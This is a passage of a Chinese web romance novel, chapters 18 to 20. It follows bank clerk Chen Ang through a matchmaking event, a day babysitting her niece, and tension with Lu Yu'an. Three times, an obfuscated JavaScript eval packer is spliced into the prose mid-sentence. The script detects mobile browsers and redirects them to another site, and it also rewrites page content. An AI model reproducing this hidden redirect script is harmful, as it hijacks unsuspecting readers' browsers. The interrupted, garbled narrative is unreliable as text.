陈盎上前打招呼:“蕴之?你怎么也来啦?” “当然是齐馨邀请的我。还有就是,带他出来玩玩。”宋蕴之揽过身边一个年轻男生,随手捏了捏他的脸,“给大家介绍一下,我的男朋友,小李。” 又换人了。 陈盎笑着挥了挥手。 陆屿安则没搭理,径自走到一旁坐下。 齐馨拿着签到册过来分配座位,五男五女一组,陈盎、陆屿安、宋蕴之、小李分到了一起,还有另外四个陌生男女,大家互相认识了下。 齐馨接了个电话,站起道:“合伙人来了,我去接他,你们先玩着。” 宋蕴之的新男友十分殷勤,围着她忙前忙后,一旁的眼镜男眼神一直落在宋蕴之身上,问道:“不是说好了单身男女交友会吗,你们两个是刚认识的,还是情侣?难道说想分手了,来这儿重新找吗?” 新男友面色拉下来,不悦地看他一眼。 宋蕴之却掩嘴哈哈大笑:“你怎么知道我打的这个主意。不过我要求很高的,必须得是男大。” 眼镜男道:“我上个月刚毕业,勉强也算男大吧。” 宋蕴之竖起一根食指摇了摇,道:“NONONO。男大和男大学生不是一个物种哦。” 眼镜男过了半分钟才回味过来,不由面色尴尬,冷哼一声,起身离开。 “哎,怎么走了,不玩了吗?”齐馨和眼镜男擦肩而过,见他面色不悦,没回答她的话闷头走了,回来问,“这男的咋啦,你们不会欺负人家了吧?” 宋蕴之在补妆,只有小李回答她:“不知道啊,反正不关我们之之的事。” 陈盎岔开话题,问:“齐小馨,你的合伙人在哪儿?我还没见过呢。” “这儿呢。”齐馨说着,让出身后的一人。 看清楚来人,陈盎讶然:“是你?!” 18. 第十八章 第十八章 “所以,事情就是这样。” “所以,你就骗我要值班是吧。” “我……” 回去的车上,陈小滨被陈盎和齐馨一左一右夹着,严刑拷问。 他长叹一声,捂着脸,耳朵红得像滴血:“小盎姐,我真不是存心骗你的,主要是我爸妈知道了,肯定会骂我不务正业。可我真的很想试试看,除了掏粪还能不能干成别的事儿。” 齐馨也很惊讶:“这世界怎么这么小,他居然是你表弟?” 陈盎强调:“你小时候也见过的,只是忘了。” 齐馨回忆一番:“我记得那时候他长得黑黑壮壮,现在怎么长成一个弱不禁风的小白脸了?” 陈小滨:“……” 陈小滨把短袖卷到肩上,捏紧拳头把胳膊举到齐馨面前:“我最近在健身,已经练出肌肉,不信你看。” 齐馨嫌弃地推开。 最后,陈盎答应替陈小滨保密,连陈父陈母也没告诉。 * 第二天,陈盎一早下楼,发现表姨表姨夫和小米花都在,大人围着搓麻将,小孩孤零零的一个蹲在旁边吃零食。 “给我手机,我要玩手机,玩手机!”小米花扯着表姨的衣服尖叫。 她只有五岁,正是活泼好动的年纪,幼儿园放了暑假,没给报班,周围又没什么同龄的玩伴。 表姨打她的手,恐吓道:“天天玩手机要把眼睛玩坏了!等你妈妈出差回来要揍你!哎,小盎今天休息啊,正好,快,去找你小姨玩!” 然后陈盎的面前就被推过来一个肉嘟嘟的粉团子。 粉团子抱着她的小腿,尖叫:“小姨,我要玩手机!玩手机!” 陈盎简直一个头两个大,她不擅长带小孩,可几个大人纷纷沉迷麻将,理也不理她们。 陈盎无奈地蹲下,建议道:“小米花,我带你去外面逛一逛吧,有好多好吃的,你要是吃的多,我就把手机借给你玩一小时。” 小米花伸出小拇指:“一言为定,大人撒谎鼻子也会变长哦。” 陈盎牵着她来到附近一家早餐店,点了麦油脂、乌饭麻糍、青草糊。小米花吃完乌饭麻糍,说不喜欢青草糊的味道,要喝一杯甜豆浆。 陈盎起身去给她拿,回来时,发现这小孩居然用她的手机在发微信。 陈盎吓了一跳,连忙拿过自己的手机:“小米花,你在做什么?我要生气了哦。” 这小屁孩真的很聪明,居然记住了她的锁屏密码。陈盎拿过手机一看,是和陆屿安的对话框,他刚问她今天是不是休息,弹出来的对话框被小米花误触进去,发了一连串表情包。 还好,没发什么奇怪的东西。 陈盎连忙解释了,陆屿安表示现在过来找她,陈盎道:“那恐怕要委屈你和我一起带娃了。” 陆屿安道:“没事,我很喜欢小孩子。” 十五分钟后,陈盎和陆屿安在城墙门口汇合。 小米花见到他,目不转睛地盯了会儿,然后眨巴了下眼睛,一手牵住陆屿安,一手牵住陈盎,嘿嘿嘿地笑了起来。 陈盎问她:“怎么啦,突然这么开心?” 小米花说道:“以前都是这样的,我走中间,爸爸妈妈一人一边牵着我,可现在好久没见到爸爸了,妈妈很忙,经常不在家,把我交给外公外婆。哼,明明说等放假了就带我去找爸爸,骗人。” 陈盎估计她还不知道父母离婚的事情,不知道该说什么,摸了摸她的头。 陆屿安却蹲下,平视小米花的眼睛,道:“那我和你小姨当你一天的爸爸妈妈,你想去哪里玩,我们都陪着你,好不好?” 小米花眼睛亮了亮,点头:“好!” 小米花跟着赛玉回临城也半年多了,居然连当地的著名景点江南长城也没去过,一直心心念念。 陈盎和陆屿安带着她来到长城脚下,要过马路,陈盎提醒道:“小米花,要看红绿灯哦,红灯停,绿灯行,绿灯了才可以通过。” 小米花道:“小姨,你把我当三岁小孩呢,我都这么大了,早就会过马路。你看,小姨夫都在笑你呢。” 陈盎捂住她的嘴:“小孩子别乱讲话,什么小姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955336|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫。” 小米花掰开她的手,道:“不是说好了你们要演我的爸爸妈妈吗,你是我小姨,他不就是我小姨夫?” 陈盎一想,说得好像也对,她居然没法反驳一个五岁小孩的话。 一旁的陆屿安看了一眼她的表情,唇角笑容更明显。 陈盎道:“你……你们,算了算了,行吧。” 长城爬到一半,小米花就爬不动了,吵吵着要吃冰淇淋,陈盎给她买了一个,可一个吃完还不够,要吃第二个。 陈盎怕她吃多了拉肚子,坚决不给买,这小破孩居然一下子躺在地上,边翻滚边哭嚎爸爸妈妈虐待我。 路过的游客见到这一幕,纷纷发出笑声,回头看他们,有的还拿出手机拍照。 陈盎挡住自己的脸,小声对陆屿安道:“看吧,遇到这种皮的,你还敢不敢说喜欢小孩子。” 陆屿安却道:“小孩子很好哄的,我有办法。”说着,弯腰从地上抱起了小孩,“小米花,冰淇淋有什么好吃的,我带你去更好玩的地方。” 陆屿安说的办法,就是给她买了一堆玩具。 坐在回去的车上,小米花几乎被玩具淹没,玩得不亦乐乎,整个人的心思都被吸引,果然不记得吃什么冰淇淋。 陈盎抱臂想了想,道:“我觉得这样不好。” 陆屿安问:“有什么不好?” “小孩子的欲望不能完全满足,否则会得寸进尺,爬到我们头上来了。”陈盎道,“就是会很难管教啊,要趁他们小时候,就教会讲道理。” “然后建立家长的权威?” “也不算是建立权威吧。”陈盎仰靠在副驾驶的颈垫上,“我又没孩子,这些不是我该操心的。不过,你以后可能是一个很溺爱孩子的父亲。” 陆屿安笑了笑:“这你都能看出来?” 陈盎道:“换个角度想,谁都希望被溺爱,只要不长歪就行。就是咱俩的教育观念不太一样,不分什么好坏。” 陆屿安道:“可以听你的。” “嗯?” “我是说,如果你愿意的话。” 19. 第十九章 第十九章 “买包薯片还要挑一挑什么口味,结婚就随便找个人算了?!” “我看你挑到什么时候去,等年纪大了就后悔了!也不拿镜子照照自己什么样子,还想找什么帅哥!” “我怎么了,我学历、工作、身高、外貌哪些不比他们好,凭什么要和他们结婚?!” “哎呦,我真是白养你这么多年,早知道不让你读那么多书,初中毕业就去打工,现在孩子都生一串了。你不结婚,读那么多书有什么用,赚那么多钱有什么用,不生孩子以后谁给你养老!你不结婚,我和你爸抬不起头啊!” “……” 陈盎一进店,就看见一对母女面红耳赤,吵得不可开交。 陈小滨也在,似乎很想劝一劝,但一开口,就被母女俩大吼一声“你闭嘴”,于是默默地退到一旁煮开水。 最后还是靠齐馨把快要打起来的母女俩劝开。 陈小滨把煮好的开水给陈盎倒了一杯,剩下的倒进热水壶里。 齐馨好不容易送走两人,心力交瘁地回头,发现陈盎和陈小滨正在嗑瓜子,顿时气不打一处来:“你们两个吃白饭的么,就看热闹,也不来帮忙。尤其是你,陈小滨!忘记了自己合伙人的身份?!” 陈小滨摸摸后脑勺:“我想劝啊,可他们骂我,我不敢!” 齐馨一脸看废物的表情:“怪不得你以前小名叫朱朱,我看是猪头的猪吧。这么笨。” 陈小滨耳朵又烧起来:“名字是父母起的,你这个人,怎么老拿名字攻击人。” 齐馨双手叉腰:“攻击?实话实说而已,你破防了,就说我攻击你?” “你……”陈小滨说不过她,干瞪一会儿眼睛,干脆站起来跑到门外去了。 陈盎视线在两人身上转悠片刻,似乎明白了什么。 “你这么看我做什么?”齐馨坐回到老式桌子前,戴起袖套,从抽屉里抽出一本厚厚的资料,“其实今天的这对母女不是特例,经常遇见这样子的。这年代,孩子的婚姻成了家庭矛盾的一个重要导火线。” 陈盎凑过去,若有所思道:“其实我觉得,还是社会太浮躁,人心太焦虑了。” “怎么说?” “就是,你有没有觉得,从小就有一种一定要跟上脚步、跑过别人的紧迫感,小学、中学、大学、工作,婚姻也是,学习不好人生要完蛋了,找不到好工作人生要完蛋了,到了年纪不结婚人生要完蛋了。学习和工作没办法,不是努力了就能得到想要的结果,但是结婚不一样,找不到合适的,可以忍一忍,随便找个人把婚结了。这样子,至少在婚姻方面跟上脚步、跑过别人了。” “然后产生一种扭曲的胜利快感。别人没结婚,我结了,不用陷入被催婚的焦虑,松了一口气,虽然这段婚姻不是自己想要的,但痛并快乐着?”齐馨接口道,“所以现在离婚率高啊,因为怎么选都后悔。我发现,大家互相认为对方配不上自己,双方都觉得委屈,不管是物质上还是精神上。当然,幸福的婚姻还是很多的,咱要有信心,不然会影响到我生意!” 陈盎眨了眨眼睛:“那你觉得陈小滨怎么样?” 齐馨翻了翻白眼,道:“不怎么样。你这什么表情,别乱配鸳鸯啊。” “好吧。”陈盎绝对尊重姐妹的意见,便没多说什么,一出红娘馆,看见陈小滨正坐在对面的石板台阶上。 “小盎姐,你们说完悄悄话了?”陈小滨站起来问。 陈盎走过去,直截了当道:“陈小滨,你是不是有点喜欢齐馨?” 陈小滨顿时手足无措,连说话都变得结巴:“你你你……别乱说,我没没没……有,我们是合伙人,纯纯纯……纯粹的合作关系。” 陈盎一脸看透他的表情:“小舅妈姓朱,你小时候一开始的名字叫陈爱朱,小名朱朱,上学了被同学起外号叫猪,家里觉得不太好才带你去改了名字。这件事我都快忘记了,而且你很不乐意提起,齐馨却知道,肯定是你告诉她的啊。” 陈小滨像只泄气的皮球,沉默了很久,嗫嚅道:“可是……她不喜欢我啊。” 陈盎觉得自己擅长分析感情问题,但让她教自己的表弟去追自己的好朋友,还真是有点鞭长莫及。 于是陈盎只能给他加油打气:“至少她不讨厌你啊,这就是成功的第一步。” * 八、九月份,是银行的疗休养时期。 陈盎和同事商量好调班,选择八月份,也就是下周出发。 按工会的规定,三年内只能去一次省外,今年的两条路线都是省内。 陈盎纠结片刻,选了南浔--湖州--杭城的路线,新来的大堂经理道:“真羡慕你们正式工,还可以出去玩,不像我们只能在这儿苦逼上班。” 陈盎笑道:“等你考上公务员了,比银行好太多。” 大堂经理道:“我看你手机上下了题库,也在考吧。我们私底下建了一个考公群,要不要把你拉进去?” 陈盎耸耸肩,道:“算了吧,我是摸鱼摆烂的,就去重在参与一下。” 陈盎也不是故意摸鱼摆烂,要怪就怪银行平时工作太累,任务太多,她身心俱疲,分不出一点精力。 下午,工作群又发了任务。 ETC储蓄卡转信用卡。每个人要完成八个。 陈盎默默叹了口气,掰着手指头开始数,自家老式大众一个,陈小滨一个,赛玉一个,齐馨没车不行,于是又去戳了宋蕴之,最后找了陆屿安。 “陆先生,请问您有几辆车?”陈盎用词礼貌客气。 陆屿安发来一个“?”。 陈盎厚着脸皮说这是自己的ETC任务。 陆屿安很快回复:“还差几个?不够我让宋蕴之也来。” 陈盎如实道:“四个。” 陆屿安道:“我的就够了。你们银行任务也不是很重。” 陈盎发了一连串微笑脸。 陆屿安办事效率很高,自己下午没空,就让司机把几辆车都开过来了。小小的城南支行,门口停车位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959066|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来就不多,一下子来了四辆豪车,还是十分惹眼的。 行长路过,给她竖了个大拇指,说道:“小陈,我就说你是个营销天才吧,任务发出去两小时,你就完成了一半。后生可畏,好好干,前途不可限量啊。” “哈哈哈哈,行长您说笑了。”陈盎偷偷摁掉亮起的手机屏幕,心想,千万不能让他看见了手机里的考公APP。 大堂经理拿着仪器,帮陈盎一起办理ETC,好奇问道:“小陈姐,这些车看上去都好贵,你怎么认识这么有钱的客户啊?” 陈盎神秘兮兮道:“说来也是缘分,那天过年,行长派我去对面银行当卧底……” 添油加醋讲了一番,引得人家小姑娘连连惊叹,也竖起一个大拇指:“小陈姐,你真的是个营销天才!” 下班点,卷帘门缓缓拉下。 陈盎锁好平板,关了智柜机,钻出半关的卷帘门,和陆屿安撞了个正着。 “你怎么来了?!”陈盎惊讶。 陆屿安盯着她匆匆忙忙的样子,唇角勾了勾,指着门口的几辆车,道:“来一起把车开回去啊。顺便可以送你回家。” 陈盎的家走路七八分钟就到,本想说不用了,话一出口却是:“那岂不是很麻烦你了?” 陆屿安笑了笑:“不麻烦。” 一同钻出卷帘门的大堂经理疑惑一声:“咦,他就是这些车的车主啊。小陈姐,你不是说是个老头吗?” 陈盎:“……” 见陆屿安面色变了变,大堂经理赶紧捂住嘴扭头跑人。 陈盎也想扭头就跑,却被陆屿安一把掐住后脖颈,一瞬间就给拉回去了。她撞在陆屿安的胸口,对方的手摁在她肩上。 落在耳边是陆屿安阴恻恻的声音:“陈盎,你又说我什么坏话?” 喷出的凉薄气息让陈盎心头一阵发麻,她连忙转身,面对他黑沉沉的脸色,急得摆摆双手:“没有没有,是你理解错了。” “行,你解释。” “我……”陈盎急得在心里抓耳挠腮,幸好这时,耳畔出现一个陌生声音救急。 “陈小姐,终于找到你了。”侧头一看,台阶下站着个穿西装的人。是个戴眼镜的陌生男人,手里拿着一束鲜红玫瑰。 陈盎疑惑:“你是?” 眼镜男推了推眼镜,说道:“陈小姐真是贵人多忘事。我是那天参加溪望谷交友活动的男嘉宾,虽然咱们没分在一桌,但我注意你很久了,也是打听了很久,才知道你在这个银行上班,我没别的意思,就是觉得你很漂亮,想认识认识你。” 说着,把玫瑰花递到她面前。 陈盎不知怎么的,产生一股心虚的感觉,小心翼翼抬头看了看陆屿安。 果然,陆屿安脸色阴沉得可以下雨。 这是在她单位门口,三个人就这样僵持着不太好,要是被人看到了怎么办,陈盎想把花先拿过来藏好,谁知,正伸出去手,陆屿安的声音如闷雷般可怕。 “陈盎,你敢接一个试试?” 20. 第二十章 第二十章 南浔古镇。 正在举办一场水上婚礼。 一条装满聘礼嫁妆的小船开道,紧随其后是一条插满鲜花的婚船,身穿大红古装婚服的新人并立船头,向周围游客拱手作礼。 河两岸站满了举着手机拍照的游客。 虽然是一天上演好多回的节目,但还是极大地引起了人群喝彩。陈盎也不例外,正举着手机抓拍,谁知一个人挤过来碰了下,手机不小心从手里滑落。 幸亏,一只手稳稳接住了。 陈盎连忙道谢,一扭头,发现是叶崟。 “叶学长。” “这里人多,那边位置好。”叶崟将手机还给她,指了指不远处的一个地方。 “那我过去吧。”陈盎跟着他走过去,发现果然视线很好,没有人群遮挡,可以尽情拍照。 一个同事路过,看到他们,热情招呼道:“叶总,小陈,我们来合个照吧。” 陈盎欣然配合。 同事用的相机,拍出来的照片质感比手机好太多,说:“等会儿把这些照片发疗休养群里,到时候可以挑几张好看的发朋友圈。” “那就再好不过了。” 陈盎当晚就发了个朋友圈,有风景照、集体合照、小群体合照,凑了九宫格。一天走了上万步,实在累得很,她发完朋友圈倒头就睡。 第二天一早醒来,陈盎先打开朋友圈看点赞和评论。 可仔仔细细看了一圈,并没有陆屿安的评论,连个点赞都没有。 陈盎心想,可能刚好有事,没空刷手机吧。毕竟之前,连她转发单位公众号的文章,他都一个不落地点赞。 陈盎没有多想,接下来的两天,又去了安吉、西湖、宋城,每天充实到走两万多步,一天发两条朋友圈。 可诡异的是,陆屿安都没点赞。 不仅如此,她出去这么多天,他连个问候都没有。 陈盎拿起手机,想给他发消息,想了一想又放下。为什么要这么关注他,搞得自己好像多喜欢他一样。 很喜欢吗,好像也没有。 最后一天的行程是在灵隐寺。陈盎请了十八籽,也上了香。 据说跪在佛前的一刻,听到的是自己内心深处的声音。 陈盎努力地去听,但好像什么也没听到,她心里只有一个念头在盘旋——陆屿安为什么不给她朋友圈点赞! 回到临城后,陈盎越想越气。 陆屿安这货,居然整整五天没搭理她。 要不是看见他还给宋蕴之朋友圈点赞,都怀疑这人离奇消失了。 她几次拿起手机想发消息,都硬生生忍住。先是回顾自己有什么做的不对的地方,有什么说错了的话,然后,心里一惊。 这是被他拿捏住了吗? 不可以。 三天后,陈盎在宋蕴之的店里遇见了陆屿安。 两人视线一交撞,纷纷各自别过脸。 宋蕴之打着哈欠从二楼下来,看见两人像僵硬的冰棍杵在那里,立刻好奇转悠过来,围绕两人打量,盯着他们的表情。 “闹矛盾了?” “没有。”两人同时道,“我和他(她)能有什么矛盾?” 如出一辙的阴阳怪气。 “哈,哈哈。”宋蕴之摆摆手,“那两位请自便哈,我今天店里要进一大批货,你俩挡路了,麻烦让让。” 陈盎和陆屿安肩并肩走出店铺,又不约而同往城墙口的方向走去。 陈盎走了几步,意识到这个问题后,立刻调转方向,谁知陆屿安的想法也是这样。 于是两人又并排一起走。 陈盎:“……” 陆屿安:“……” 还是陆屿安先开口:“这几天玩得很开心吧?” 语调微微上扬,又下折,阴阳怪气得让人毛骨悚然。 陈盎道:“我不是都发朋友圈了,开不开心你看不出来?” 陆屿安冷笑一声。 两人沉默片刻,陈盎还是问:“你为什么生气?” 陆屿安继续冷笑一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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